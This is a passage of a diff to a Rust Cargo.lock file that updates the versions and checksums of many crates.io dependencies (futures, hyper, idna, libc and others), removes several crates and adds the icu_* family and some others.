-version = "0.3.8"
+version = "0.3.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add"
+checksum = "0f58bbc28f91df819d0aa2a2c00cd19754769c2fad90579b3592b1c9ba7a3115"
 dependencies = [
- "cfg-if",
  "crossbeam-utils",
 ]
 
 [[package]]
 name = "crossbeam-utils"
-version = "0.8.15"
+version = "0.8.21"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c063cd8cc95f5c377ed0d4b49a4b21f632396ff690e8470c29b3359b346984b"
-dependencies = [
- "cfg-if",
-]
+checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"
 
 [[package]]
 name = "crypto-bigint"
@@ -692,60 +730,6 @@ dependencies = [
  "sct",
 ]
 
-[[package]]
-name = "ctor"
-version = "0.1.26"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d2301688392eb071b0bf1a37be05c469d3cc4dbbd95df672fe28ab021e6a096"
-dependencies = [
- "quote",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "cxx"
-version = "1.0.94"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f61f1b6389c3fe1c316bf8a4dccc90a38208354b330925bce1f74a6c4756eb93"
-dependencies = [
- "cc",
- "cxxbridge-flags",
- "cxxbridge-macro",
- "link-cplusplus",
-]
-
-[[package]]
-name = "cxx-build"
-version = "1.0.94"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "12cee708e8962df2aeb38f594aae5d827c022b6460ac71a7a3e2c3c2aae5a07b"
-dependencies = [
- "cc",
- "codespan-reporting",
- "once_cell",
- "proc-macro2",
- "quote",
- "scratch",
- "syn 2.0.75",
-]
-
-[[package]]
-name = "cxxbridge-flags"
-version = "1.0.94"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7944172ae7e4068c533afbb984114a56c46e9ccddda550499caa222902c7f7bb"
-
-[[package]]
-name = "cxxbridge-macro"
-version = "1.0.94"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2345488264226bf682893e25de0769f3360aac9957980ec49361b083ddaa5bc5"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.75",
-]
-
 [[package]]
 name = "darling"
 version = "0.10.2"
@@ -783,15 +767,15 @@ dependencies = [
 
 [[package]]
 name = "dashmap"
-version = "5.4.0"
+version = "5.5.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "907076dfda823b0b36d2a1bb5f90c96660a5bbcd7729e10727f07858f22c4edc"
+checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856"
 dependencies = [
  "cfg-if",
- "hashbrown 0.12.3",
+ "hashbrown 0.14.5",
  "lock_api",
  "once_cell",
- "parking_lot_core 0.9.7",
+ "parking_lot_core 0.9.11",
 ]
 
 [[package]]
@@ -820,9 +804,9 @@ dependencies = [
 
 [[package]]
 name = "deranged"
-version = "0.3.11"
+version = "0.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4"
+checksum = "9c9e6a11ca8224451684bc0d7d5a7adbf8f2fd6887261a1cfc3c0432f9d4068e"
 dependencies = [
  "powerfmt",
  "serde",
@@ -830,9 +814,9 @@ dependencies = [
 
 [[package]]
 name = "digest"
-version = "0.10.6"
+version = "0.10.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8168378f4e5023e7218c89c891c0fd8ecdb5e5e4f18cb78f38cf245dd021e76f"
+checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
 dependencies = [
  "block-buffer",
  "crypto-common",
@@ -859,6 +843,17 @@ dependencies = [
  "winapi",
 ]
 
+[[package]]
+name = "displaydoc"
+version = "0.2.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.104",
+]
+
 [[package]]
 name = "dotenvy"
 version = "0.15.7"
@@ -867,29 +862,24 @@ checksum = "1aaf95b3e5c8f23aa320147307562d361db0ae0d51242340f558153b4eb2439b"
 
 [[package]]
 name = "either"
-version = "1.8.1"
+version = "1.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
+
+[[package]]
+name = "equivalent"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
 
 [[package]]
 name = "errno"
-version = "0.3.1"
+version = "0.3.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bcfec3a70f97c962c307b2d2c56e358cf1d00b558d74262b5f929ee8cc7e73a"
+checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
 dependencies = [
- "errno-dragonfly",
- "libc",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "errno-dragonfly"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf"
-dependencies = [
- "cc",
  "libc",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -899,14 +889,32 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0"
 
 [[package]]
-name = "fastrand"
-version = "1.9.0"
+name = "event-listener"
+version = "5.4.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be"
+checksum = "3492acde4c3fc54c845eaab3eed8bd00c7a7d881f78bfc801e43a93dec1331ae"
 dependencies = [
- "instant",
+ "concurrent-queue",
+ "parking",
+ "pin-project-lite",
 ]
 
+[[package]]
+name = "event-listener-strategy"
+version = "0.5.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93"
+dependencies = [
+ "event-listener 5.4.0",
+ "pin-project-lite",
+]
+
+[[package]]
+name = "fastrand"
+version = "2.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
+
 [[package]]
 name = "fixedbitset"
 version = "0.2.0"
@@ -915,9 +923,9 @@ checksum = "37ab347416e802de484e4d03c7316c48f1ecb56574dfd4a46a80f173ce1de04d"
 
 [[package]]
 name = "flate2"
-version = "1.0.26"
+version = "1.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b9429470923de8e8cbd4d2dc513535400b4b3fef0319fb5c4e1f520a7bef743"
+checksum = "4a3d7db9596fecd151c5f638c0ee5d5bd487b6e0ea232e5dc96d5250f6f94b1d"
 dependencies = [
  "crc32fast",
  "miniz_oxide",
@@ -958,9 +966,9 @@ checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
 
 [[package]]
 name = "form_urlencoded"
-version = "1.1.0"
+version = "1.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9c384f161156f5260c24a097c56119f9be8c798586aecc13afbcbe7b7e26bf8"
+checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
 dependencies = [
  "percent-encoding",
 ]
@@ -976,10 +984,16 @@ dependencies = [
 ]
 
 [[package]]
-name = "futures"
-version = "0.3.28"
+name = "funty"
+version = "2.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23342abe12aba583913b2e62f22225ff9c950774065e4bfb61a19cd9770fec40"
+checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c"
+
+[[package]]
+name = "futures"
+version = "0.3.31"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876"
 dependencies = [
  "futures-channel",
  "futures-core",
@@ -992,9 +1006,9 @@ dependencies = [
 
 [[package]]
 name = "futures-channel"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "955518d47e09b25bbebc7a18df10b81f0c766eaf4c4f1cccef2fca5f2a4fb5f2"
+checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10"
 dependencies = [
  "futures-core",
  "futures-sink",
@@ -1002,15 +1016,15 @@ dependencies = [
 
 [[package]]
 name = "futures-core"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bca583b7e26f571124fe5b7561d49cb2868d79116cfa0eefce955557c6fee8c"
+checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
 
 [[package]]
 name = "futures-executor"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0"
+checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f"
 dependencies = [
  "futures-core",
  "futures-task",
@@ -1030,59 +1044,57 @@ dependencies = [
 
 [[package]]
 name = "futures-io"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4fff74096e71ed47f8e023204cfd0aa1289cd54ae5430a9523be060cdb849964"
+checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6"
 
 [[package]]
 name = "futures-lite"
-version = "1.13.0"
+version = "2.6.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce"
+checksum = "f5edaec856126859abb19ed65f39e90fea3a9574b9707f13539acf4abf7eb532"
 dependencies = [
  "fastrand",
  "futures-core",
  "futures-io",
- "memchr",
  "parking",
  "pin-project-lite",
- "waker-fn",
 ]
 
 [[package]]
 name = "futures-macro"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72"
+checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650"
 dependencies = [
  "proc-macro2",
  "quote",
- "syn 2.0.75",
+ "syn 2.0.104",
 ]
 
 [[package]]
 name = "futures-sink"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e"
+checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7"
 
 [[package]]
 name = "futures-task"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "76d3d132be6c0e6aa1534069c705a74a5997a356c0dc2f86a47765e5617c5b65"
+checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988"
 
 [[package]]
 name = "futures-timer"
-version = "3.0.2"
+version = "3.0.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e64b03909df88034c26dc1547e8970b91f98bdb65165d6a4e9110d94263dbb2c"
+checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24"
 
 [[package]]
 name = "futures-util"
-version = "0.3.28"
+version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533"
+checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
 dependencies = [
  "futures-channel",
  "futures-core",
@@ -1108,20 +1120,38 @@ dependencies = [
 
 [[package]]
 name = "getrandom"
-version = "0.2.9"
+version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c85e1d9ab2eadba7e5040d4e09cbd6d072b76a557ad64e797c2cb9d4da21d7e4"
+checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
 dependencies = [
  "cfg-if",
  "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
+ "wasi 0.11.1+wasi-snapshot-preview1",
 ]
 
 [[package]]
-name = "gloo-timers"
-version = "0.2.6"
+name = "getrandom"
+version = "0.3.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b995a66bb87bebce9a0f4a95aed01daca4872c050bfcb21653361c03bc35e5c"
+checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "r-efi",
+ "wasi 0.14.2+wasi-0.2.4",
+]
+
+[[package]]
+name = "gimli"
+version = "0.31.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f"
+
+[[package]]
+name = "gloo-timers"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994"
 dependencies = [
  "futures-channel",
  "futures-core",
@@ -1173,7 +1203,7 @@ dependencies = [
  "futures-timer",
  "no-std-compat",
  "nonzero_ext",
- "parking_lot 0.12.1",
+ "parking_lot 0.12.4",
  "quanta",
  "rand",
  "smallvec",
@@ -1181,9 +1211,9 @@ dependencies = [
 
 [[package]]
 name = "h2"
-version = "0.3.19"
+version = "0.3.26"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d357c7ae988e7d2182f7d7871d0b963962420b0678b0997ce7de72001aeab782"
+checksum = "81fe527a889e1532da5c525686d96d4c2e74cdd345badf8dfef9f6b39dd5f5e8"
 dependencies = [
  "bytes",
  "fnv",
@@ -1191,10 +1221,10 @@ dependencies = [
  "futures-sink",
  "futures-util",
  "http",
- "indexmap",
+ "indexmap 2.10.0",
  "slab",
  "tokio",
- "tokio-util 0.7.8",
+ "tokio-util 0.7.15",
  "tracing",
 ]
 
@@ -1204,35 +1234,41 @@ version = "0.12.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888"
 dependencies = [
- "ahash 0.7.6",
+ "ahash 0.7.8",
 ]
 
 [[package]]
 name = "hashbrown"
-version = "0.13.2"
+version = "0.14.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43a3c133739dddd0d2990f9a4bdf8eb4b21ef50e4851ca85ab661199821d510e"
+checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
 dependencies = [
- "ahash 0.8.3",
+ "ahash 0.8.12",
+ "allocator-api2",
 ]
 
 [[package]]
-name = "hashlink"
-version = "0.8.1"
+name = "hashbrown"
+version = "0.15.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "69fe1fcf8b4278d860ad0548329f892a3631fb63f82574df68275f34cdbe0ffa"
+checksum = "5971ac85611da7067dbfcabef3c70ebb5606018acd9e2a3903a0da507521e0d5"
+
+[[package]]
+name = "hashlink"
+version = "0.8.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7"
 dependencies = [
- "hashbrown 0.12.3",
+ "hashbrown 0.14.5",
 ]
 
 [[package]]
 name = "headers"
-version = "0.3.8"
+version = "0.3.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3e372db8e5c0d213e0cd0b9be18be2aca3d44cf2fe30a9d46a65581cd454584"
+checksum = "06683b93020a07e3dbcf5f8c0f6d40080d725bea7936fc01ad345c01b97dc270"
 dependencies = [
- "base64 0.13.1",
- "bitflags",
+ "base64 0.21.7",
  "bytes",
  "headers-core",
  "http",
@@ -1270,18 +1306,9 @@ dependencies = [
 
 [[package]]
 name = "hermit-abi"
-version = "0.2.6"
+version = "0.5.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee512640fe35acbfb4bb779db6f0d80704c2cacfa2e39b601ef3e3f47d1ae4c7"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "hermit-abi"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fed44880c466736ef9a5c5b5facefb5ed0785676d0c02d612db14e54f0d84286"
+checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c"
 
 [[package]]
 name = "hex"
@@ -1291,9 +1318,9 @@ checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
 
 [[package]]
 name = "hkdf"
-version = "0.12.3"
+version = "0.12.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "791a029f6b9fc27657f6f188ec6e5e43f6911f6f878e0dc5501396e09809d437"
+checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7"
 dependencies = [
  "hmac",
 ]
@@ -1308,10 +1335,19 @@ dependencies = [
 ]
 
 [[package]]
-name = "http"
-version = "0.2.9"
+name = "home"
+version = "0.5.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482"
+checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf"
+dependencies = [
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "http"
+version = "0.2.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "601cbb57e577e2f5ef5be8e7b83f0f63994f25aa94d673e54a92d5c516d101f1"
 dependencies = [
  "bytes",
  "fnv",
@@ -1320,9 +1356,9 @@ dependencies = [
 
 [[package]]
 name = "http-body"
-version = "0.4.5"
+version = "0.4.6"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1"
+checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2"
 dependencies = [
  "bytes",
  "http",
@@ -1331,27 +1367,27 @@ dependencies = [
 
 [[package]]
 name = "http-range-header"
-version = "0.3.0"
+version = "0.3.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0bfe8eed0a9285ef776bb792479ea3834e8b94e13d615c2f66d03dd50a435a29"
+checksum = "add0ab9360ddbd88cfeb3bd9574a1d85cfdfa14db10b3e21d3700dbc4328758f"
 
 [[package]]
 name = "httparse"
-version = "1.8.0"
+version = "1.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904"
+checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"
 
 [[package]]
 name = "httpdate"
-version = "1.0.2"
+version = "1.0.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421"
+checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
 
 [[package]]
 name = "hyper"
-version = "0.14.26"
+version = "0.14.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab302d72a6f11a3b910431ff93aae7e773078c769f0a3ef15fb9ec692ed147d4"
+checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7"
 dependencies = [
  "bytes",
  "futures-channel",
@@ -1390,26 +1426,112 @@ dependencies = [
 
 [[package]]
 name = "iana-time-zone"
-version = "0.1.56"
+version = "0.1.63"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0722cd7114b7de04316e7ea5456a0bbb20e4adb46fd27a3697adb812cff0f37c"
+checksum = "b0c919e5debc312ad217002b8048a17b7d83f80703865bbfcfebb0458b0b27d8"
 dependencies = [
  "android_system_properties",
  "core-foundation-sys",
  "iana-time-zone-haiku",
  "js-sys",
+ "log",
  "wasm-bindgen",
- "windows",
+ "windows-core",
 ]
 
 [[package]]
 name = "iana-time-zone-haiku"
-version = "0.1.1"
+version = "0.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0703ae284fc167426161c2e3f1da3ea71d94b21bedbcc9494e92b28e334e3dca"
+checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
 dependencies = [
- "cxx",
- "cxx-build",
+ "cc",
+]
+
+[[package]]
+name = "icu_collections"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "200072f5d0e3614556f94a9930d5dc3e0662a652823904c3a75dc3b0af7fee47"
+dependencies = [
+ "displaydoc",
+ "potential_utf",
+ "yoke",
+ "zerofrom",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_locale_core"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0cde2700ccaed3872079a65fb1a78f6c0a36c91570f28755dda67bc8f7d9f00a"
+dependencies = [
+ "displaydoc",
+ "litemap",
+ "tinystr",
+ "writeable",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_normalizer"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "436880e8e18df4d7bbc06d58432329d6458cc84531f7ac5f024e93deadb37979"
+dependencies = [
+ "displaydoc",
+ "icu_collections",
+ "icu_normalizer_data",
+ "icu_properties",
+ "icu_provider",
+ "smallvec",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_normalizer_data"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "00210d6893afc98edb752b664b8890f0ef174c8adbb8d0be9710fa66fbbf72d3"
+
+[[package]]
+name = "icu_properties"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "016c619c1eeb94efb86809b015c58f479963de65bdb6253345c1a1276f22e32b"
+dependencies = [
+ "displaydoc",
+ "icu_collections",
+ "icu_locale_core",
+ "icu_properties_data",
+ "icu_provider",
+ "potential_utf",
+ "zerotrie",
+ "zerovec",
+]
+
+[[package]]
+name = "icu_properties_data"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "298459143998310acd25ffe6810ed544932242d3f07083eee1084d83a71bd632"
+
+[[package]]
+name = "icu_provider"
+version = "2.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "03c80da27b5f4187909049ee2d72f276f0d9f99a42c306bd0131ecfe04d8e5af"
+dependencies = [
+ "displaydoc",
+ "icu_locale_core",
+ "stable_deref_trait",
+ "tinystr",
+ "writeable",
+ "yoke",
+ "zerofrom",
+ "zerotrie",
+ "zerovec",
 ]
 
 [[package]]
@@ -1420,12 +1542,23 @@ checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39"
 
 [[package]]
 name = "idna"
-version = "0.3.0"
+version = "1.0.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e14ddfc70884202db2244c223200c204c2bda1bc6e0998d11b5e024d657209e6"
+checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e"
 dependencies = [
- "unicode-bidi",
- "unicode-normalization",
+ "idna_adapter",
+ "smallvec",
+ "utf8_iter",
+]
+
+[[package]]
+name = "idna_adapter"
+version = "1.2.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344"
+dependencies = [
+ "icu_normalizer",
+ "icu_properties",
 ]
 
 [[package]]
@@ -1436,36 +1569,46 @@ checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
 dependencies = [
  "autocfg",
  "hashbrown 0.12.3",
+]
+
+[[package]]
+name = "indexmap"
+version = "2.10.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661"
+dependencies = [
+ "equivalent",
+ "hashbrown 0.15.4",
  "serde",
 ]
 
 [[package]]
 name = "inout"
-version = "0.1.3"
+version = "0.1.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
+checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
 dependencies = [
  "generic-array",
 ]
 
 [[package]]
 name = "instant"
-version = "0.1.12"
+version = "0.1.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
+checksum = "e0242819d153cba4b4b05a5a8f2a7e9bbf97b6055b2a002b395c96b5ff3c0222"
 dependencies = [
  "cfg-if",
 ]
 
 [[package]]
-name = "io-lifetimes"
-version = "1.0.10"
+name = "io-uring"
+version = "0.7.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c66c74d2ae7e79a5a8f7ac924adbe38ee42a859c6539ad869eb51f0b52dc220"
+checksum = "b86e202f00093dcba4275d4636b93ef9dd75d025ae560d2521b45ea28ab49013"
 dependencies = [
- "hermit-abi 0.3.1",
+ "bitflags 2.9.1",
+ "cfg-if",
  "libc",
- "windows-sys 0.48.0",
 ]
 
 [[package]]
@@ -1477,27 +1620,19 @@ dependencies = [
  "either",
 ]
 
-[[package]]
-name = "itertools"
-version = "0.10.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473"
-dependencies = [
- "either",
-]
-
 [[package]]
 name = "itoa"
-version = "1.0.6"
+version = "1.0.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6"
+checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
 
 [[package]]
 name = "js-sys"
-version = "0.3.61"
+version = "0.3.77"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "445dde2150c55e483f3d8416706b97ec8e8237c307e5b7b4b8dd15e6af2a0730"
+checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
 dependencies = [
+ "once_cell",
  "wasm-bindgen",
 ]
 
@@ -1526,24 +1661,34 @@ dependencies = [
 
 [[package]]
 name = "lazy_static"
-version = "1.4.0"
+version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
+checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
 dependencies = [
- "spin 0.5.2",
+ "spin 0.9.8",
 ]
 
 [[package]]
 name = "libc"
-version = "0.2.144"
+version = "0.2.174"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b00cc1c228a6782d0f076e7b232802e0c5689d41bb5df366f2a6b6621cfdfe1"
+checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776"
 
 [[package]]
 name = "libm"
-version = "0.2.6"
+version = "0.2.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "348108ab3fba42ec82ff6e9564fc4ca0247bdccdc68dd8af9764bbc79c3c8ffb"
+checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de"
+
+[[package]]
+name = "libredox"
+version = "0.1.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1580801010e535496706ba011c15f8532df6b42297d2e471fec38ceadd8c0638"
+dependencies = [
+ "bitflags 2.9.1",
+ "libc",
+]
 
 [[package]]
 name = "libsqlite3-sys"
@@ -1557,25 +1702,28 @@ dependencies = [
 ]
 
 [[package]]
-name = "link-cplusplus"
-version = "1.0.8"
+name = "linux-raw-sys"
+version = "0.4.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ecd207c9c713c34f95a097a5b029ac2ce6010530c7b49d7fea24d977dede04f5"
-dependencies = [
- "cc",
-]
+checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab"
 
 [[package]]
 name = "linux-raw-sys"
-version = "0.3.7"
+version = "0.9.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ece97ea872ece730aed82664c424eb4c8291e1ff2480247ccf7409044bc6479f"
+checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12"
+
+[[package]]
+name = "litemap"
+version = "0.8.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "241eaef5fd12c88705a01fc1066c48c4b36e0dd4377dcdc7ec3942cea7a69956"
 
